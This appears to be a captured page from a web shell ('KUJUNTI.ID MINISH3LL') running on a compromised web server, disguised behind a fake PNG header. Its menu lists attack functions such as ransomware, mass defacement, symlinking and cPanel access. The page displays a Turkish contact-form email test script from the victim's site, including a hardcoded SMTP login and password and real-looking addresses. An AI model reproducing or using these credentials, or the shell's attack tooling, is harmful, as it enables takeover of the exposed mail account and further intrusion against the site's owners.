\x89PNG\r\n\x1a\n\x00\x00\x00\x0DIHDR\x00\x00\x00\x01\x00 \x00\x00\x01\x08\x06\x00\x00\x00\x1F\x15\xC4\x89\x00\x00\x00 \x0AIDATx\x9Ccb\x00\x00\x00\x06\x00\x03\x1A\x05\x9D\x00\x00 \x00\x00IEND\xAE\x42\x60\x82 www.csarite.com
KUJUNTI.ID MINISH3LL
Path : /var/www/html/yedekle24/BackupShieldv1/
(S)h3ll Cr3at0r :
F!le Upl0ad :

B-Con CMD Config cPanel C-Rdp D-Log Info Jump Mass Ransom Symlink vHost Zone-H

Current File : /var/www/html/yedekle24/BackupShieldv1/contact_form_only.py


#!/usr/bin/env python3
# -*- coding: utf-8 -*-

import smtplib
import ssl
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
import datetime
import re

def is_valid_email(email):
    """Validate an email address using a regex pattern."""
    pattern = r'^[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}$'
    return bool(re.match(pattern, email))

def send_contact_form_email():
    """
    Test sending contact form email with test data
    """
    try:
        # Form data (test values)
        name = "Test Kullanıcı"
        email = "test@example.com"
        subject = "Test Mesajı"
        message = "Bu bir test mesajıdır. İletişim formundan gönderilmiştir."
        
        # Validate email format
        if not is_valid_email(email):
            print("ERROR: Invalid email format")
            return False
            
        # SMTP server settings
        server = 'mail.hepsibulutta.com'
        port = 587
        user = 'yedekle24@hepsibulutta.com'
        password = 'ooka5asd2mas2el1ai0eeC222'
        from_email = 'yedekle24@hepsibulutta.com'
        to_email = 'gokhana@ofisbulutta.com'
        
        # Debug output - these logs will appear in the console
        print(f"{'='*50}")
        print(f"CONTACT FORM EMAIL TEST")
        print(f"{'='*50}")
        print(f"Connecting to SMTP server: {server}:{port}")
        print(f"Using credentials: {user}")
        print(f"From: {from_email}")
        print(f"To: {to_email}")
        
        # Create message
        msg = MIMEMultipart()
        msg['From'] = from_email
        msg['To'] = to_email
        msg['Subject'] = f"YedekleDB24 İletişim Formu: {subject}"
        
        # Add reply-to header
        msg['Reply-To'] = f"{name} <{email}>"
        
        # Current time for the message
        current_time = datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S')
        
        # Email body
        body = f"""
İletişim Formu Mesajı:

Ad Soyad: {name}
E-posta: {email}
Konu: {subject}

Mesaj:
{message}

---
Bu bir test e-postasıdır. YedekleDB24 iletişim formundan gönderilmiştir.
Tarih/Saat: {current_time}
        """
        msg.attach(MIMEText(body, 'plain'))
        
        # Create secure connection
        print(f"{'='*50}")
        print("Creating SSL context...")
        context = ssl.create_default_context()
        
        # Connect to server
        print("Connecting to SMTP server...")
        with smtplib.SMTP(server, port, timeout=30) as smtp:
            print("Connected to server")
            
            # Identify ourselves to the server
            smtp.ehlo()
            print("EHLO successful")
            
            # Start TLS encryption
            smtp.starttls(context=context)
            print("TLS started")
            
            # Re-identify ourselves over TLS connection
            smtp.ehlo()
            print("Second EHLO successful")
            
            # Login to the server
            print(f"Logging in as {user}...")
            smtp.login(user, password)
            print("Login successful")
            
            # Send the email
            print("Sending email...")
            smtp.send_message(msg)
            print(f"Email sent successfully to {to_email}!")
            
            # Try sending to second recipient
            try:
                print(f"\n{'-'*50}")
                print("Attempting to send to second recipient...")
                second_to_email = 'arsiv@arsiv.ofisbulutta.tr'
                msg['To'] = second_to_email
                smtp.send_message(msg)
                print(f"Email also sent to second recipient: {second_to_email}")
            except Exception as e2:
                print(f"Note: Couldn't send to second recipient: {e2}")
                # Continue since primary email was sent
        
        print(f"\n{'='*50}")
        print("TEST COMPLETED SUCCESSFULLY")
        print(f"{'='*50}")
        return True
            
    except Exception as e:
        print(f"\n{'!'*50}")
        print(f"ERROR: {e}")
        print(f"{'!'*50}")
        import traceback
        traceback.print_exc()
        return False

if __name__ == "__main__":
    print("Starting contact form email test...")
    result = send_contact_form_email()
    print(f"Test result: {'SUCCESS' if result else 'FAILED'}")

© KUJUNTI.ID